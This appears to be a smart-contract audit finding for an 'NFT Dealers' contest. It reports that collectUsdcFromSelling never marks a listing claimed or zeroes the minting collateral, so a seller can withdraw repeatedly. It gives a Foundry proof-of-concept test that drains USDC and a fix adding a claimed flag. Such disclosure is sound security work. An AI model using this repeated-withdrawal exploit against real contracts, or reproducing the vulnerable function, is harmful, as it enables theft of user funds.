NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Multiple Withdrawals of Collateral and Sales Proceeds

Author Revealed upon completion

Root + Impact

Description

The collectUsdcFromSelling function is intended to allow a seller to claim their USDC after a successful sale. However, the function does not update the state of the collateral or the listing price once the funds are transferred.

  • Normal Behavior: After a sale, the seller should be able to call a function once to claim the sale price (minus fees) plus their initial minting collateral.

  • Specific Issue: The function checks if a listing isActive is false, but it never marks the listing as "claimed" or "settled." Furthermore, it does not zero out the collateralForMinting for that tokenId. Consequently, a seller can call this function repeatedly in a loop to drain the contract's USDC holdings.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
// @> Issue: collateralForMinting[listing.tokenId] is never set to 0
// @> Issue: The listing is never marked as "claimed"
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood: High

  • Any user who successfully sells an NFT or has a listing canceled (which sets isActive to false) can trigger this.

  • No special conditions are required other than owning a listing that is no longer active.

Impact: High

  • Total loss of protocol funds (USDC).

  • The contract can be completely drained by a single malicious seller.

Proof of Concept

Paste this test function in NFTDealersTest.t.sol

function test_InfiniteDrainPoC() public revealed {
address buyer = makeAddr("buyer");
deal(address(usdc), buyer, 100e6);
deal(address(usdc), address(nftDealers), 100e6);
​
uint256 tokenId = 1;
uint32 listPrice = 20e6;
// 1. Seller mints and lists an NFT
mintAndListNFTForTesting(1, listPrice);
​
// 2. Buyer buys the NFT
vm.startPrank(buyer);
usdc.approve(address(nftDealers), listPrice);
nftDealers.buy(tokenId); // Listing 1 is now inactive
vm.stopPrank();
​
// 3. Seller exploits the bug by calling collection in a loop
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
vm.startPrank(userWithCash);
// We call it 3 times just to prove it works; in reality, this would be a loop
nftDealers.collectUsdcFromSelling(tokenId);
​
uint256 userWithCashBalanceBefore = usdc.balanceOf(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
vm.stopPrank();
​
uint256 userWithCashBalanceAfter = usdc.balanceOf(userWithCash);
​
assertGt(userWithCashBalanceAfter, userWithCashBalanceBefore, "Seller drained more than the initial sale proceeds!");
}

Recommended Mitigation

Introduce a claimed status to the Listing struct or delete the listing entirely after withdrawal. Also, ensure the collateral mapping is zeroed out.

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isClaimed;
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing storage listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive");
+ require(!listing.isClaimed, "Already claimed");
​
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ collateralForMinting[listing.tokenId] = 0;
+ listing.isClaimed = true;
​
// ... rest of logic
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!